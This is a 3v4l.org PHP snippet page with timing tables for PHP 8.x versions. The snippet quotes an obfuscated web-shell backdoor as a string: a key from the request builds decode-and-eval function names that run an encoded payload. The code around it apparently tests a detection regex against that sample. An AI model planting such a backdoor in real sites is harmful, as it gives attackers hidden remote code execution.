3v4l.org

run code in 300+ PHP versions simultaneously
<?php $content = ' $key = $_GET["a"]; $fb010 = $key[9].$key[15].$key[5].$key[0].$key[8].$key[10].$key[7].$key[17].$key[0].$key[6].$key[2].$key[17].$key[0]; $f3055 = $key[11].$key[1].$key[12].$key[3].$key[19].$key[4].$key[15].$key[20].$key[0]; $fef6c = $key[13].$key[15].$key[18].$key[16].$key[13].$key[4].$key[17].$key[0].$key[6].$key[2].$key[17].$key[0]; $fb5d6 = $key[6].$key[2].$key[3].$key[14].$key[0].$key[13].$key[20].$key[7].$key[16].$key[16].$key[17].$key[0].$key[6].$key[2].$key[17].$key[0]; $f33f1 = $key[0].$key[14].$key[15].$key[4]; $f33f1($fb5d6($fef6c($f3055($fb010("M7U00/VQNXYKUjUzcDdSNTIz9QHygLSqqbOqiYFJmGmQZZhppKqRhZGqsbOqqZOqgSNQKZAEAA=="))))); '; function f($c) { preg_match("|\$key|mis", $c, $m); var_export($m); } f($content);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0040.01116.75
8.3.60.0120.00918.43
8.3.50.0180.00018.41
8.3.40.0070.00720.23
8.3.30.0040.01218.70
8.3.20.0040.00424.18
8.3.10.0080.00024.66
8.3.00.0060.00326.16
8.2.190.0150.00018.29
8.2.180.0070.01325.92
8.2.170.0060.01318.99
8.2.160.0070.00722.96
8.2.150.0000.00725.66
8.2.140.0090.00024.66
8.2.130.0040.00426.16
8.2.120.0050.00226.16
8.2.110.0050.00522.25
8.2.100.0070.00717.84
8.2.90.0080.00019.05
8.2.80.0040.00417.97
8.2.70.0050.00317.75
8.2.60.0000.00917.80
8.2.50.0050.00318.07
8.2.40.0060.00317.90
8.2.30.0040.00418.08
8.2.20.0050.00320.70
8.2.10.0000.00718.28
8.2.00.0040.00419.10
8.1.280.0070.01125.92
8.1.270.0080.00024.66
8.1.260.0000.00726.35
8.1.250.0040.00428.09
8.1.240.0030.00621.22
8.1.230.0000.01217.45
8.1.220.0000.00817.74
8.1.210.0000.00818.77
8.1.200.0100.00017.48
8.1.190.0030.00517.23
8.1.180.0060.00318.10
8.1.170.0090.00018.63
8.1.160.0040.00418.74
8.1.150.0040.00418.69
8.1.140.0000.00717.46
8.1.130.0070.01017.51
8.1.120.0160.00017.62
8.1.110.0000.01817.66
8.1.100.0120.00617.52
8.1.90.0090.00917.54
8.1.80.0110.00417.65
8.1.70.0040.00817.53
8.1.60.0050.00817.68
8.1.50.0080.00417.74
8.1.40.0070.00417.82
8.1.30.0040.00817.73
8.1.20.0060.00617.83
8.1.10.0060.00617.57
8.1.00.0000.01317.63
8.0.300.0040.00418.77
8.0.290.0040.00416.88
8.0.280.0000.00718.47
8.0.270.0030.00317.24
8.0.260.0020.00716.95
8.0.250.0080.00316.95
8.0.240.0080.00316.95
8.0.230.0030.00716.95
8.0.220.0050.00516.95
8.0.210.0030.00816.95
8.0.200.0070.00717.00
8.0.190.0040.00916.95
8.0.180.0050.00616.95
8.0.170.0080.00816.97
8.0.160.0130.00316.96
8.0.150.0080.00816.95
8.0.140.0130.00516.95
8.0.130.0090.00916.95
8.0.120.0140.00516.95
8.0.110.0100.01016.95
8.0.100.0110.00617.00
8.0.90.0130.00316.95
8.0.80.0100.00216.95
8.0.70.0100.00016.95
8.0.60.0060.00616.95
8.0.50.0060.00516.95
8.0.30.0050.00516.95
8.0.20.0060.00316.95
8.0.10.0000.00917.07

preferences:
59.77 ms | 401 KiB | 5 Q